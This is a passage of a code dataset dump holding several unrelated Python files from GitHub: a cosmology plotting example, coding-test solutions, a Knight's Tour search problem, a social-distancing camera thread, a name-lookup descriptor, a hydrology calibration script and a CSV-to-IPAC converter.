length=5)\n#ax1.xaxis.set_major_formatter(FormatStrFormatter('%2.4f'))\nax1.xaxis.labelpad = 20\nax1.set_xticklabels([])\n\nax1.plot(k,-Pd1s2, lw=2, color='black', label=r'$-b_1 b_s$, FAST-PT ' )\nax1.plot(k,Pd2s2, '--', lw=2,color='red', label=r'$b_2 b_s$, FAST-PT ' )\nax1.plot(k,Ps2s2, '-.', lw=2,color='blue', label=r'$b_s^2$, FAST-PT ' )\nplt.legend(loc=3)\n\nplt.grid()\n\nax2=fig.add_subplot(gs[1,2])\nax2.set_xscale('log')\nax2.set_xlabel(r'$k$ [$h$/Mpc]', size=20)\nax2.set_ylabel('ratio', size=20)\nax2.set_ylim(.99,1.01)\nax2.set_xlim(x1,x2)\nax2.tick_params(axis='both', which='major', labelsize=20)\nax2.tick_params(axis='both', width=2, length=10)\nax2.tick_params(axis='both', which='minor', width=1, length=5)\n#ax2.xaxis.set_major_formatter(FormatStrFormatter('%2.2f'))\nax2.xaxis.labelpad = 20\n\nax2.plot(k,Pd1s2/d[:,12], lw=2, color='black', alpha=.5, label=r'$-b_1 b_s$, FAST-PT ' )\nax2.plot(k,Pd2s2/d[:,13]/2., '--', lw=2,color='red', label=r'$b_2 b_s$, FAST-PT ' )\nax2.plot(k,Ps2s2/d[:,6]/4., '-.', lw=2,color='blue', label=r'$b_s^2$, FAST-PT ' )\nplt.grid()\n\nplt.tight_layout()\nplt.show()\nfig.savefig('bias_example_plot.pdf')\n","repo_name":"JoeMcEwen/FAST-PT","sub_path":"examples/galaxy_bias_perturbation_example.py","file_name":"galaxy_bias_perturbation_example.py","file_ext":"py","file_size_in_byte":5498,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"77"}
+{"seq_id":"11767519954","text":"import re\n\nn = input()\n\n# codeline 6 ~ 15 ==> 앞의 0000이 있는 수를 제거 하는 과정\n# -----------------------------------------------------\noperatorlist = []\n    # split()을 할것이기 때문에 연산자를 미리 저장해둔다.\nfor i in range(len(n)):\n  if n[i] == '+' or n[i] == '-':\n    operatorlist.append(n[i])    \n    # re module을 이용해 +,-을 제외한 수를 tmp에 list로 저장시켜둔다.\ntmp = re.split(r'[+-]',n)\n\n    # lstrip으로 앞의 0이 있는 수를 제거 한다.\nfor i in range(len(tmp)):\n  tmp[i]  = tmp[i].lstrip('0')\n# --------------------------------------------\n# 이제는 앞에 0이 있는 수를 제거 했으니 편하게 계산하는 작업.\nn=''\nfor i,x in enumerate(tmp):\n  n += ''.join(x)\n  if i == len(tmp)-1:\n    break\n  n += ''.join(operatorlist[i])\n    # -를 -(로 변경해주고 pcheck이란 bool값을 이용해 )을 닫을 타이밍을 체크함\n    # 결론적으로, 다음 -연산자 앞에 )를 닫으면 된다.\nn= n.replace('-','-(')\nanswer =''\npcheck = False\n\nfor i in range(len(n)):\n  if n[i] == '(':\n    pcheck = True\n  if pcheck and n[i] == '-':\n    answer +=''.join(')-')\n    pcheck = False\n    continue\n  if pcheck and i == len(n)-1:\n    answer+= ''.join(n[i]+')')\n    break\n  answer += ''.join(n[i])\n\nprint(answer)\n\n\n\"\"\"\n    0~9,+,-    ()을 이용해 최소값으로 만들어라.\n\n    마지막 조건 000009-0000009를 제거하는게 젤 어려웠다.\n    조금 돌아가는 코드 인것 같은데.. 좋은 방법이 지금은 생각나지 않는다.\n\n\"\"\"","repo_name":"Jinstarship-code/coding-test","sub_path":"greedy/Sliver/BOJ_1541.py","file_name":"BOJ_1541.py","file_ext":"py","file_size_in_byte":1547,"program_lang":"python","lang":"ko","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"35483426243","text":"## Definition of Knight's Tour search problem\n## For use with queue_search.py\n\nfrom __future__ import print_function\n\nfrom copy import deepcopy\n\n# Representation of a state:\n# (move_number, (current_x_pos, current_y_pos),  full_board_state)\n# So on a small 3x3 board after 3 moves we might have a state such as:\n#\n# ( 3, (2,0), [[1,0,0],\n#              [0,0,2],\n#              [3,0,0]] )\n\n\ndef knight_get_initial_state(x,y):\n      return ( 0, 0, matrix_of_zeros(y,x) )\n\ndef matrix_of_zeros(X,Y):\n    return [ [0 for x in range(X)] for y in range(Y)] # Pythonic or what?\n\n\ndef knight_possible_actions( state ):\n             if state[0] == 0:\n                return knight_initial_moves()\n             return knight_following_moves(state)\n\ndef knight_initial_moves():\n           moves = []\n           for i in range(BOARD_X):\n               for j in range(BOARD_Y):\n                   moves = moves + [[i,j]]\n           return moves\n\ndef square_is_empty(i,j, state):\n      if state[2][i][j] == 0:\n         return True\n      return False\n\nknights_moves = ( (1,2),  (2,1),  (-1,2),  (2,-1),\n                  (1,-2), (2,-1), (-1,-2),  (-2,-1) )\n\ndef knight_following_moves( state ):\n      kx = state[1][0]\n      ky = state[1][1]\n      moves = []\n      for move in knights_moves:\n           newx = kx + move[0]    ## target x coord\n           newy = ky + move[1]    ## target y coord\n\n           ## If target square is on board and empty\n           ## add it to the list of moves \n           if newx in range(BOARD_X) and newy in range(BOARD_Y):\n              if state[2][newx][newy] == 0:\n                 moves = moves + [move]\n      return moves\n\ndef knight_successor_state( action, state ):\n    if state[0] == 0:\n       newstate =  knight_initial_successor( action )\n       return newstate\n    board = deepcopy(state[2])\n    xpos = state[1][0] + action[0]\n    ypos = state[1][1] + action[1]\n    movenum = state[0] + 1\n    board[xpos][ypos] = movenum\n    return (movenum, (xpos,ypos), board)       \n\n\ndef knight_initial_successor( action ):\n    board = deepcopy(knight_initial_state[2])\n    board[action[0]][action[1]] = 1\n    return( 1, action, board )\n\n\ndef knight_goal_state( state ):\n       if state[0] == BOARD_X * BOARD_Y:\n          print( \"\\nGOAL STATE:\" )\n          print_board_state( state )\n          return True\n       return False\n\n\ndef print_board_state( state ):\n      board = state[2]\n      for row in board:\n           for square in row:\n               print( \" %2i\" % square, end = '' )\n           print()\n\n\n\ndef knight_print_problem_info():\n    print( \"The Knight's Tour (\", BOARD_X, \"x\", BOARD_Y, \"board)\" )\n\n## Return a problem spec tuple for a given board size\ndef get_knights_tour_problem(x, y):\n      global BOARD_X, BOARD_Y, knight_initial_state\n      BOARD_X = x\n      BOARD_Y = y\n      knight_initial_state = knight_get_initial_state(x,y)\n      return  ( None,\n                knight_print_problem_info,\n                knight_initial_state,\n                knight_possible_actions,\n                knight_successor_state,\n                knight_goal_state\n              )\n                \n                                                \n\n","repo_name":"Emharsh/Projects","sub_path":"Missionaries and Cannibals Problem -AI/knights_tour.py","file_name":"knights_tour.py","file_ext":"py","file_size_in_byte":3164,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"40250353607","text":"\nimport pyrealsense2 as rs\nimport numpy as np\nfrom ..utils.post_process import *\nfrom .helper import *\nfrom ..detect.detect import *\nfrom PyQt5.QtCore import (\n    QThread,\n    Qt,\n    pyqtSignal,\n    pyqtSlot,\n    QRunnable,\n    QThreadPool,\n    QObject,\n    QTimer,\n)\nimport time\n\n\nclass SocialDistancing(QThread):\n    def __init__(self, signals,cap,imageQueue,lock,Detect):\n        super(SocialDistancing, self).__init__()\n        self.align = rs.align(rs.stream.color)\n        self.queue = imageQueue\n        self.signals = signals\n        self.camera = cap\n        self.lock = lock\n        self.detector = Detect\n        self.align = rs.align(rs.stream.color)\n        self.minDistance = 1\n        self.signals.min_distance.connect(self.updateSignal)\n        self.signals.tab_selection.connect(self.updateTab)\n        self.tab = 0\n        self.frame = signals.distance_frame\n        \n    def updateSignal(self, value):\n        self.minDistance = value\n    \n    def updateTab(self,value):\n        \n        self.tab = value\n    \n    \n    @pyqtSlot()\n    def run(self):\n        \n\n     \n        \n    \n\n        self.threadActive = True\n\n\n\n        \n\n        print(\"starting stream\")\n        while self.threadActive:\n            if self.tab ==0:\n                self.setPriority(QThread.TimeCriticalPriority)\n                self.lock.lockForRead()\n                try:\n                    \n                    frames = self.camera.getFrame()\n                    self.lock.unlock()\n                    # time.sleep(0.5)\n                    \n                    color_frame = frames.get_color_frame()\n                    depth_frame = frames.get_depth_frame()\n\n                    if not color_frame or not depth_frame:\n                        continue\n\n                    depth_frame = alignImage(frames,self.align)\n\n                    color_image = color_frame.get_data()\n                    color_image = np.asanyarray(color_image)\n                    \n                        \n\n                    predictions = self.detector.detectPeople(color_image)\n\n                    numberOfPeople = 0\n\n                    numberOfPeople = len(predictions)\n\n                    pred_bbox = getVectorsAndBbox(predictions, depth_frame)\n\n                    self.signals.people.emit(numberOfPeople)\n\n                    if pred_bbox:\n\n\n                        color_image, violation = drawBox(\n                            color_image, pred_bbox, self.minDistance\n                        )\n\n                        self.signals.violation.emit(violation)\n\n\n\n\n\n\n\n\n\n                    #self.queue.put(color_image)\n                    p = rgbtoQimage(color_image)\n                   \n                    self.frame.emit(p)\n                \n                \n\n\n            \n                except Exception as e:\n\n                    print(\"Error is :\", str(e))\n                    #self.quit()\n            \n            \n                \n                \n\n        \n        \n        #self.camera.stop()\n        #self.quit()\n\n    def stop(self):\n        self.threadActive = False\n","repo_name":"Face-Recognition-Gate-Control/socialDistancingApp","sub_path":"src/threads/socialDistancing.py","file_name":"socialDistancing.py","file_ext":"py","file_size_in_byte":3061,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"21804716954","text":"# -*- coding: utf-8 -*-\n\n\"\"\"Access an object's name as a property\n\nAutoname is a data-descriptor, which automatically looks up the\nname under which the object on which the descriptor is accessed\nis known by.\n\nImport the descriptor using ``from mtoolbox.autoname import Autoname``.\n\nExample:\n\n>>> class Object(object):\n...     name = Autoname()\n>>> obj1 = Object()\n>>> obj1.name\n'obj1'\n>>> obj2 = Object()\n>>> obj2.name\n'obj2'\n\nBy default Autoname will return the outer-most name that was defined\nfor the object:\n\n>>> class Object(object):\n...     name = Autoname()\n>>> def func(anobject):\n...     return anobject.name\n>>> o = Object()\n>>> func(o)\n'o'\n\nYou can change this behaviour by using the 'inner' keyword:\n\n>>> class Object(object):\n...     name = Autoname(inner=True)\n>>> o = Object()\n>>> def func(anobject):\n...     return anobject.name\n>>> func(o)\n'anobject'\n\nNote:\n    Please be aware, that getting the inner-most name, is not what you\n    want in most cases:\n\n    >>> class Object(object):\n    ...     name = Autoname(inner=True)\n    ...     def printname(self):\n    ...         print(self.name)\n    >>> o = Object()\n    >>> o.printname()\n    self\n\n    When in automatic mode (see the class documentation below) the\n    descriptor will always return a name, that is in some callframe\n    dictionary. If you delete a name, it will use another one, that\n    is still in use:\n\n    >>> class Object(object):\n    ...     name = Autoname()\n    >>> o = Object()\n    >>> o.name\n    'o'\n    >>> g = o\n    >>> del o\n    >>> g.name\n    'g'\n\n    This can be helped a bit by using the 'bind' keyword argument and\n    calling <object>.name with the name that should be used first:\n\n    >>> class Object(object):\n    ...     name = Autoname(bind=True)\n    >>> o = Object()\n    >>> o.name\n    'o'\n    >>> g = o\n    >>> del o\n    >>> g.name\n    'o'\n\nWarning:\n    Defining multiple names for an object in the same call frame (which is\n    easily said the same level of indention in your program) will\n    cause undetermined behaviour, depending on the Python interpreter:\n\n    >>> class Object(object):\n    ...     name = Autoname()\n    >>> o = Object()\n    >>> g = o\n    >>> o.name in ['o', 'g']\n    True\n\"\"\"\n\nimport doctest\nimport inspect\n\n\nclass Autoname(object):\n    \"\"\"Create a new Autoname descriptor\n\n    Args:\n        initval (str, bool, None): The initial name\n        inner (bool): Return the inner-most name of the object (or not)\n        bind (bool): Bind the descriptor to the first name it returns\n\n    Returns:\n        Autoname: An Autoname instance\n    \"\"\"\n\n    def __init__(self, initval=True, inner=False, bind=False):\n        self.val = None\n        self.inner = inner\n        self.bind = bind\n        self.__set__(None, initval)\n\n    def __get__(self, theobject, objtype):\n        \"\"\"Return the name of theobject or None\n\n        Returns:\n            str or None: the name of the object\n\n        Usage:\n            >>> class Object(object):\n            ...     name = Autoname()\n            >>> obj = Object()\n            >>> obj.name\n            'obj'\n            >>> obj.name = 'another name'\n            >>> obj.name\n            'another name'\n        \"\"\"\n        if isinstance(self.val, str):\n            return self.val\n        elif self.val is False or self.val is None:\n            return None\n        else:\n            # If we really didn't find a name, we return None\n            thename = None\n\n            # There is at least one frame in the callstack, in which\n            # the calling object is a local variable, so we climb up\n            # the callstack, to find the name of the object.\n            for count, frametuple in enumerate(inspect.stack()):\n                # skip the first frame - this is our __get__\n                if count == 0:\n                    continue\n\n                for name, obj in frametuple[0].f_locals.items():\n                    # found a name, but keep searching in order to get\n                    # the outer-most name unless inner == True\n                    if obj is theobject:\n                        thename = name\n                        if self.inner:\n                            self.__bind_if_wanted(thename)\n                            return thename\n\n            self.__bind_if_wanted(thename)\n            return thename\n\n    def __bind_if_wanted(self, name):\n        if self.bind:\n            self.__set__(None, name)\n\n    def __set__(self, theobject, val):\n        \"\"\"Set the name of the theobject\n\n        Args:\n            theobject (object): The object to which's class\n                                the descriptor is attached to\n\n            val (str, bool or None): Sets the name to depending on the type:\n                str sets the name to this str.\n                False or None sets the name to None.\n                True sets the name to automatically lookup.\n\n        Returns:\n            None\n\n        Raises:\n            TypeError if type(val) is invalid\n\n        Usage:\n            >>> class Object(object):\n            ...     name = Autoname()\n            >>> o = Object()\n            >>> o.name = 'k'\n            >>> o.name\n            'k'\n            >>> o.name = True\n            >>> o.name\n            'o'\n            >>> o.name = False\n            >>> str(o.name)\n            'None'\n            >>> o.name = 4\n            Traceback (most recent call last):\n            ...\n            TypeError: Autoname must be set to str, bool, NoneType\n        \"\"\"\n        types = (str, bool, type(None))\n\n        if not isinstance(val, types):\n            raise TypeError(\"Autoname must be set to %s\" % \", \".join(\n                [t.__name__ for t in types]))\n\n        self.val = val\n\nif __name__ == '__main__':\n    doctest.testmod()\n","repo_name":"messersm/mtoolbox","sub_path":"mtoolbox/autoname.py","file_name":"autoname.py","file_ext":"py","file_size_in_byte":5722,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"33291563139","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Apr 06 10:00 2018\n@author(s): Sebastian Multsch\n\nThe script is based on a tutorial:\nhttp://fb09-pasig.umwelt.uni-giessen.de/cmf/wiki/semi_distributed#\n\nThe setup of the tutorial has been modified in order to simulate hydrological\nfluxed of different landuse types (grass, crop, wood, orchards, urban) with a \nlumped molling approach.\n\n\"\"\"\n\ndef stats_calc_stats(dat_observed,dat_simulated):\n    #clc r2\n    r_squared = np.corrcoef(dat_observed,dat_simulated)[0][1]**2\n\n    #calc NSE\n    def calc_NSE(obs,sim):\n        avg_obs = np.mean(obs)\n        return  1 - (sum((obs-sim)**2)/sum((obs-avg_obs)**2))\n    NSE = calc_NSE(dat_observed,dat_simulated)\n    #plot data\n    return r_squared,NSE\n\ndef plot_flow(fname,model,sim,posterior_threshold=None):\n    \n    #preapre data\n    stats = pd.DataFrame([(a,b,c) for a,b,c in zip(pd.date_range(model.begin,model.end)[1:],sim,model.evaluation()[1:])],columns=[\"Date\",\"Sim\",\"Obs\"])\n    r_squared,NSE = stats_calc_stats(stats[~np.isnan(stats[\"Obs\"])][\"Obs\"],stats[~np.isnan(stats[\"Obs\"])][\"Sim\"])\n    stats.set_index(\"Date\",inplace=True)\n\n    #make plot of river segemnts\n    fig = plt.figure(figsize=(10,7))\n    \n    #plot rainfall\n    ax1 = fig.add_axes([0.1,0.71,0.8,0.2]) # x,y, lenght, height\n    ax1.bar(stats.index, model.data.P[model.begin+model.data.step:model.end+model.data.step],align='center',color=\"k\",width=.5)\n    ax1.invert_yaxis()\n    ax1.xaxis.tick_top()\n    ax1.xaxis.set_ticks_position('both') # THIS IS THE ONLY CHANGE\n    ax1.xaxis_date()\n    ax1.grid(True)\n    ax1.spines['bottom'].set_color('none')\n    ax1.xaxis.set_ticks_position('top')\n    ax1.set_ylabel(\"Rain [mm day$^{-1}$]\")\n    ax1.set_xlim(pd.Timestamp(model.begin),pd.Timestamp(model.end))    \n    ax1.yaxis.tick_right()\n    ax1.yaxis.set_label_position(\"right\")\n#    ax1.xaxis.set_major_locator(mdates.MonthLocator())\n#    ax1.xaxis.set_major_formatter(mdates.DateFormatter('%b'))\n        \n    #plot stream flow\n    ax2 = fig.add_axes([0.1,0.2,0.8,0.5]) # x,y, lenght, height\n    ax2.plot(stats.index,stats[\"Sim\"],color=\"b\",label=\"Simulated\",linewidth=.7) \n    ax2.plot(stats.index,stats[\"Obs\"],color=\"r\",label=\"Observed\",linewidth=.7)    \n    ax2.set_ylim(0,.5)\n    ax2.set_ylabel(\"Flow [m$^3$ sec$^{-1}$]\")\n    ax2.grid(True)\n    ax2.spines['top'].set_color('none')\n    ax2.set_xlim(pd.Timestamp(model.begin),pd.Timestamp(model.end))  \n    ax2.xaxis.set_ticks_position('bottom')\n#    ax2.xaxis.set_major_locator(mdates.MonthLocator())\n#    ax2.xaxis.set_major_formatter(mdates.DateFormatter('%b'))\n    if posterior_threshold:\n        #get posteritor distribution\n        r = pd.DataFrame([list(i) for i in res[1:]],columns=[i for i in res.dtype.names]) #TODO: skip first run ... error spotpy?\n        #select runs with a NSE higher than ..., i.e. posterior distribution\n        if len(r[r[\"like1\"]>posterior_threshold])>0:\n            r = r[r[\"like1\"]>posterior_threshold]\n        #get minimum and maximum vale\n        col_names=[i for i in res.dtype.names if i.find(\"simulation\")>-1]\n        postdis_sim_min = np.array([min([row[col] for r,row in r.iterrows()])  for col in col_names])\n        postdis_sim_max = np.array([max([row[col] for r,row in r.iterrows()])  for col in col_names])\n        #make plot\n        ax2.fill_between(stats.index, postdis_sim_min, postdis_sim_max, where=postdis_sim_max >= postdis_sim_min, facecolor='b', interpolate=True,alpha=.25)\n \n    #plot legend\n    ax3  = fig.add_axes([0.1,0.1,0.8,0.1])# x,y, lenght, height\n    legend_obs = mlines.Line2D([],[],color=\"red\",label=\"Observed\")\n    legend_sim = mlines.Line2D([],[],color=\"blue\",label = \"Best simulation\")\n    legend_rain = mlines.Line2D([],[],color=\"k\",label = \"Rainfall\")\n    handels = [legend_sim,legend_obs,legend_rain]\n    if posterior_threshold:\n        legend_sim_post = mlines.Line2D([],[],color=\"blue\",label = \"Posterior dist.\",alpha=.25,linewidth=4)\n        handels.append(legend_sim_post)\n    ax3.legend(handles=handels, ncol=3,bbox_to_anchor=(0.00, 0.5, 1., .102),fontsize=10.,frameon=True)\n    ax3.axis(\"off\")\n    ax3.text(0.2, 0.05,\"Mielen boven Aalst, 2007\"+ \"\\n\"+ \"r$^2$: \"+\"%.2f NSE: %.2f\"%(r_squared,NSE),\n            verticalalignment='bottom', horizontalalignment='left',\n            transform=ax3.transAxes,\n            color='k', fontsize=9, \n            bbox=dict(facecolor='0.7', edgecolor='None', boxstyle='round,pad=.5',alpha=.5))\n\n    fig.autofmt_xdate() \n    fig.savefig(fname,dpi=300)\n    \n    \nimport datetime\nimport cmf\nimport spotpy\n#from spotpy.parameter import Uniform\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pylab as plt\nimport matplotlib.lines as mlines\nimport os\n\nclass CatchmetnModel:\n    def __init__(self,fpath,start,end):\n        self.fpath = fpath\n        self.start = start\n        self.end = end\n\nclass SpotpySetup(object):\n    def __init__(self,fpath,start,end):\n        self.fpath = fpath\n        self.start = start\n        self.end = end\n        self.params = [spotpy.parameter.Normal('Ksat',0.3,0.1,0.02,0.2),\n                       spotpy.parameter.Normal('Phi',1.2,0.035,0.01,1.22),\n                       spotpy.parameter.Normal('alpha',1,0.3,0.1,2.0),\n                       spotpy.parameter.Normal('n',.55,0.04,0.02,0.6),\n                       spotpy.parameter.Normal('m',.55,0.04,0.02,0.6),\n                       ]\n        \n    def parameters(self):\n        return spotpy.parameter.generate(self.params)\n\n    def simulation(self,vector):\n        simulations= self.cmfmodel._run(alpha=vector[0],n=vector[1],ksat=vector[2],porosity=vector[3])\n        return simulations\n\n    def evaluation(self,evaldates=False):\n        if evaldates:\n            return self.cmfmodel.eval_dates\n        else:\n            return self.cmfmodel.observations\n\n    def objectivefunction(self,simulation,evaluation):\n        objectivefunction= -spotpy.objectivefunctions.rmse(evaluation,simulation)\n        return objectivefunction\n\n\n\n\n\n\nif __name__ == '__main__':\n    # Get sampler\n    from spotpy.algorithms import lhs as Sampler_lhs\n\n    # Check if we are running on a supercomputer or local\n    parallel = 'mpi' if 'OMPI_COMM_WORLD_SIZE' in os.environ else 'seq'\n\n#    parallel = 'mpc'\n\n    # Run the models\n    runs = 2\n\n    #create cmf\n    model = SpotpySetup(begin=datetime.datetime(2007,1,1),end=datetime.datetime(2007,12,31))\n\n    # Create the sampler\n    sampler = Sampler_lhs(model, parallel=parallel, dbname=model.dbname,\n                      dbformat='csv', save_sim=True)\n    #make analysis\n    sampler.sample(runs)\n\n    #get results\n    res = sampler.getdata()\n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n#    #get best model run        \n#    best_run = res[np.argmax(res[\"like1\"])]#sampler.status.bestrep\n#    sim=list(best_run)[[i for i in res.dtype.names].index(\"simulation_0\"):-1]\n#    \n#    #make plot\n#    plot_flow(\"melsterbeek_miele_calibration.png\",model,sim)#,posterior_threshold=0.35) #posterior_threshold: minimum NSE to select posterior runs\n\n#    #make validation for each posterior dataset\n#    posterior_threshold=.3\n#    res_posterior = pd.DataFrame([list(i) for i in res[1:]],columns=[i for i in res.dtype.names])\n#    if len(res_posterior[res_posterior[\"like1\"]>posterior_threshold])>0:\n#        res_posterior = res_posterior[res_posterior[\"like1\"]>posterior_threshold]\n#\n#    for rowid,bestrun_pars_vector in res_posterior.iterrows():\n#        #create new model for validation\n#        model_validation = LumpedModel(begin=datetime.datetime(2012,1,1),end=datetime.datetime(2016,12,31))\n#        \n#        # Get the array of parameter realizations\n#        params = spotpy.parameter.get_parameters_array(model)\n#    \n#        # Create the namedtuple from the parameter names\n#        partype =  spotpy.parameter.get_namedtuple_from_paramnames(model, params['name'])\n#        par = partype(bestrun_pars_vector[\"pargrass_V0L1\"],\n#                                      grass_V0L2=bestrun_pars_vector[\"pargrass_V0L2\"],\n#                                      grass_fETV0=bestrun_pars_vector[\"pargrass_fETV0\"],\n#                                      grass_fETV1=bestrun_pars_vector[\"pargrass_fETV1\"],\n#                                      grass_trL1L2=bestrun_pars_vector[\"pargrass_trL1L2\"],\n#                                      grass_trL1out=bestrun_pars_vector[\"pargrass_trL1out\"],\n#                                      grass_trL2out=bestrun_pars_vector[\"pargrass_trL2out\"])\n#    \n#        #run model with \n#        validation_res_q = model_validation.simulation(par=par)\n#    \n#        #plot validation\n#        plot_flow(\"melsterbeek_miele_validation_\"+str(rowid)+\".png\",model_validation,validation_res_q)\n#    \n#        \n\n#    \n#        ","repo_name":"xlandscape/CmfContinuous-Component","sub_path":"module/bin/LandscapeModel/utils/todo/spotpy.py","file_name":"spotpy.py","file_ext":"py","file_size_in_byte":8681,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"13551393523","text":"from bst import Node\r\nfrom mylist import *\r\n\r\n\r\nclass PointerList(MyList):\r\n\r\n    def __init__(self, size: int, value=None) -> None:\r\n        self.head = prev = None\r\n        self.size = size\r\n\r\n        for _ in range(size):\r\n            node = Node(value)\r\n            if prev == None:\r\n                prev = node\r\n                self.head = node\r\n            else:\r\n                prev.left = node\r\n            prev = node\r\n\r\n    def __len__(self) -> int:\r\n        return self.size\r\n\r\n    def __getitem__(self, i: int):\r\n        assert (\r\n            0 <= i < len(self)\r\n        ), f\"Getting invalid list index {i} from list of size {len(self)}\"\r\n        current = self.head\r\n        for _ in range(i):\r\n            current = current.left\r\n        return current.data\r\n\r\n    def __setitem__(self, i: int, value) -> None:\r\n        assert (\r\n            0 <= i < len(self)\r\n        ), f\"Getting invalid list index {i} from list of size {len(self)}\"\r\n        current = self.head\r\n        for _ in range(i):\r\n            current = current.left\r\n        current.data = value\r\n\r\n    def __iter__(self) -> \"MyList\":\r\n        return super().__iter__()\r\n\r\n    def __next__(self):\r\n        return super().__next__()\r\n\r\n    def get(self, index: int):\r\n        return self.__getitem__(index)\r\n\r\n    def set(self, index: int, value: (int, int, int)) -> None:\r\n        self.__setitem__(index, value)\r\n","repo_name":"Qazalbash/GradVault","sub_path":"data-structures-II/homeworks/2/src/pointerlist.py","file_name":"pointerlist.py","file_ext":"py","file_size_in_byte":1392,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"77"}
+{"seq_id":"12020519947","text":"# Reversal Algorithm for Array Rotations from a given point \n\n# Examples: \n# Input:  arr[] = {1, 2, 3, 4, 5, 6, 7}, d = 2\n# Output: 3, 4, 5, 6, 7, 1, 2\n# Explanation: If the array is rotated by 1 position to the left, \n# it becomes {2, 3, 4, 5, 6, 7, 1}.\n# When it is rotated further by 1 position,\n# it becomes: {3, 4, 5, 6, 7, 1, 2}\n\n# Input: arr[] = {1, 6, 7, 8}, d = 3\n# Output: 8, 1, 6, 7\n\nclass ReversalAlgorithm:\n    def rotateArray (self, arr, start, end):\n        while (start < end):\n            temp = arr[start]\n            arr[start] = arr[end]\n            arr[end] = temp\n            start += 1\n            end -= 1\n\n    def leftReversal (self, arr, key):\n        if key == 0:\n            return\n        n = len (arr)\n        key %= n\n        self.rotateArray (arr, 0, key-1)\n        self.rotateArray (arr, key, n-1)\n        self.rotateArray (arr, 0, n-1)\n\nif __name__ == '__main__':\n    arr = [1, 2, 3, 4, 5, 6, 7]\n    reversal = ReversalAlgorithm ()\n    reversal.leftReversal (arr, 2)\n    print(f'The array after rotation based on given key is {arr}')\n\n","repo_name":"kanuarj/pythonDSA","sub_path":"Arrays/arrayRotations/02_reversalArrayRotation.py","file_name":"02_reversalArrayRotation.py","file_ext":"py","file_size_in_byte":1069,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"26359228577","text":"import argparse\nimport pathlib\n\n# TODO support all types.\n#   See \"Data Types in https://irsa.ipac.caltech.edu/applications/DDGEN/Doc/ipac_tbl.html\n# TODO support quoted values where commas can be used inside a value\n\n\ndef list_arg(s):\n    return s.split(',')\n\ndef check_args(args):\n    first_line_data = check_csvfile(args)\n    # print(\"Number of columns in CSV: {}\\n\".format(len(first_line_data)))\n\n    for i in (args.header, args.units, args.null):\n        if i is not None:\n            if len(i) != len(first_line_data):\n                raise ValueError(\"Number of columns in file does not match with the arguments\")\n\n\ndef check_csvfile(args):\n    filepath = args.csvfile\n    if not filepath.exists():\n        raise FileNotFoundError('File does not exist {}'.format(filepath))\n    \n    with open(filepath, 'r') as f:\n        line = next(f)\n\n    first_line = line.split(',')\n    return first_line\n\n\ndef construct_line(line_data, max_lengths, in_between=\" \"):\n    line = in_between\n    for val, m in zip(line_data, max_lengths):\n        space_bef = \" \"*((m - len(val))//2)\n        space_after = \" \"*(m - len(val) - len(space_bef))\n        line += space_bef + val + space_after + in_between\n    return line\n\ndef adjust_max_lengths(lst, max_lengths):\n    for i in range(len(max_lengths)):\n        max_lengths[i] = max(max_lengths[i], len(lst[i]))\n\n\n\nif __name__ == \"__main__\":\n    parser = argparse.ArgumentParser(description='Converts a CSV file to IPAC Table file.')\n    parser.add_argument('csvfile', type=pathlib.Path, help='file to convert')\n    parser.add_argument('--header',\n                        action='store',\n                        type=list_arg,\n                        help='comma-separated column names')\n    parser.add_argument('--units',\n                        action='store',\n                        type=list_arg,\n                        help='units of the column values')\n    parser.add_argument('--null',\n                        action='store',\n                        type=list_arg,\n                        help='null value specifiers')\n    \n    args = parser.parse_args()\n    # print(args)\n\n    check_args(args)\n    \n    with open(args.csvfile, 'r') as fin:\n        header = next(fin).strip().split(',') if args.header is None else args.header\n        max_lengths = list(map(len, header))\n        types = [None] * len(header)\n        for line_num, line in enumerate(fin):\n            vals = line.split(',')\n            if len(vals) != len(header):\n                raise ValueError('Line {} contains {} columns!'.format(\n                    line_num if args.header is None else line_num + 1,\n                    len(vals)))\n\n            adjust_max_lengths(vals, max_lengths)\n\n            for i in range(len(max_lengths)):\n                was_double = types[i] == 'double'\n                if types[i] != 'char':\n                    try:\n                        float(vals[i])\n                        types[i] = 'double'\n                    except Exception:\n                        types[i] = 'char'\n                    else:\n                        if not was_double:\n                            try:\n                                int(vals[i])\n                                types[i] = 'int'\n                            except Exception:\n                                pass\n\n    adjust_max_lengths(types, max_lengths)\n    \n\n    with open(args.csvfile, 'r') as fin:\n        if args.header is None:\n            next(fin)\n\n        print(construct_line(header, max_lengths, in_between=\"|\"))\n\n        print(construct_line(types, max_lengths, in_between=\"|\"))\n\n        if args.units is not None:\n            adjust_max_lengths(args.units, max_lengths)\n            print(construct_line(args.units, max_lengths))\n\n        if args.null is not None:\n            adjust_max_lengths(args.null, max_lengths)\n            print(construct_line(args.null, max_lengths))\n\n        for line in fin:\n            print(construct_line(line.strip().split(','), max_lengths))\n\n\n","repo_name":"tungli/csv_to_tableIPAC.py","sub_path":"csv_to_table.py","file_name":"csv_to_table.py","file_ext":"py","file_size_in_byte":3983,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
